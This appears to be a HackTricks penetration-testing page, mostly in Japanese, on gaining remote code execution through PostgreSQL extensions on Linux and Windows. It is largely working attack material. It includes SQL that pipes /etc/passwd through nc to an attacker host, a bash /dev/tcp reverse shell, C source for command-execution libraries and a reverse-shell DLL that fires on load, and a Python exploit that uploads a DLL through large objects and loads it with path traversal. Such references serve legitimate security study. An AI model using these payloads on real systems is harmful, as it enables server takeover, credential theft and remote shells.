hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md

18 KiB
Raw Blame History

PostgreSQL拡張機能

htARTEHackTricks AWS Red Team Expert を通じてゼロからヒーローまでAWSハッキングを学ぶ

PostgreSQL拡張機能

PostgreSQLは拡張性をコア機能として開発されており、それらが組み込み機能であるかのように拡張機能をシームレスに統合できるようになっています。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の機能、演算子、または型を提供します。

バージョン8.1以降、拡張ライブラリには特定の要件が課されています特別なヘッダーでコンパイルする必要があります。これがないと、PostgreSQLはそれらを実行せず、互換性のあるかつ潜在的に安全な拡張機能のみが使用されることを保証します。

また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読んでください。

LinuxでのRCE

詳細についてはこちらをチェックしてください:https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1およびそれ以前のバージョンからシステムコマンドを実行するプロセスは、明確に文書化されており、簡単です。これを使用することが可能です:Metasploitモジュール

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64からバイナリファイルを書き込む

バイナリをファイルに書き込むためには、PostgreSQLでbase64を使用する必要があるかもしれません。その場合に役立つ情報です:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

ただし、より新しいバージョンで試みると、次のエラーが表示されました:

ERROR:  incompatible library /lib/x86_64-linux-gnu/libc.so.6: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

このエラーは、PostgreSQLのドキュメントで説明されています:

動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルに適切な内容を持つ「マジックブロック」が含まれているかどうかをチェックします。これにより、異なるPostgreSQLのメジャーバージョン用にコンパイルされたコードなど、明らかな非互換性をサーバーが検出できます。マジックブロックはPostgreSQL 8.2以降で必須です。マジックブロックを含めるには、モジュールのソースファイルの1つただ1つに、fmgr.hを含めた後に次のように記述します

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PostgreSQLバージョン8.2以降、システムを悪用する攻撃者のプロセスはより困難になりました。攻撃者は、すでにシステムに存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、PostgreSQLの互換性のあるメジャーバージョンに対してコンパイルされている必要があり、特定の「マジックブロック」を含める必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上昇し、システムのアーキテクチャとバージョンの互換性についてより深い理解が必要とされます。

ライブラリをコンパイルする

PostgreSQLのバージョンを取得する:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

以下は、ファイルpentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.mdからのコンテンツです。

日本語訳:

互換性のために、主要バージョンが一致していることが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすると、統合が成功するはずです。

システムにそのバージョンをインストールするには:
apt install postgresql postgresql-server-dev-9.6

そして、ライブラリをコンパイルしてください:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

その後、コンパイルされたライブラリをアップロードして、次のようにコマンドを実行します:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

あなたはこのライブラリを事前にコンパイルされた状態で、さまざまなPostgreSQLバージョンで見つけることができ、さらには次のようにしてこのプロセスを自動化することができますPostgreSQLアクセス権がある場合

{% embed url="https://github.com/Dionach/pgexec" %}

WindowsでのRCE

次のDLLは、バイナリの名前実行回数を入力として受け取り、それを実行します:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

次のzipファイルにコンパイルされたDLLが見つかります

{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}

このDLLに実行するバイナリと実行回数を指定できます。この例では、calc.exeを2回実行します

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

こちらでこのリバースシェルを見つけることができます。

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

最新のPostgresバージョンにおけるRCE

PostgreSQLの最新バージョンでは、superuserが特定のディレクトリWindowsの場合はC:\Program Files\PostgreSQL\11\lib、*nixシステムの場合は/var/lib/postgresql/11/libなど)以外から共有ライブラリファイルを読み込むことが禁止される制限が課されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによって書き込み操作から保護されています。

これらの制限にもかかわらず、認証済みのデータベースsuperuserは「大きなオブジェクト」を使用してファイルシステムにバイナリファイルを書き込むことが可能です。この機能により、データベース操作(テーブルの更新や作成など)に不可欠なC:\Program Files\PostgreSQL\11\dataディレクトリ内に書き込むことができます。

CREATE FUNCTIONコマンドから生じる重大な脆弱性は、データディレクトリへのディレクトリトラバーサルを許可しています。その結果、認証済みの攻撃者はこのトラバーサルを悪用して共有ライブラリファイルをデータディレクトリに書き込み、その後読み込むことができます。この脆弱性を利用すると、攻撃者は任意のコードを実行し、システム上でネイティブコードを実行できます。

攻撃フロー

まず、大きなオブジェクトを使用してdllをアップロードする必要があります。その方法はこちらで確認できます:

{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}

この例では、拡張機能この例ではpoc.dllという名前をデータディレクトリにアップロードした後、次のようにロードできます

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

.dll拡張子を追加する必要はありません。create関数がそれを追加します。

詳細については、元の出版物をこちらで読んでください
その出版物では、ポストグレス拡張機能を生成するために使用されたコードはこちらですポストグレス拡張機能をコンパイルする方法については、以前のバージョンのいずれかを読んでください)。
同じページには、このテクニックを自動化するエクスプロイトが示されていました:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert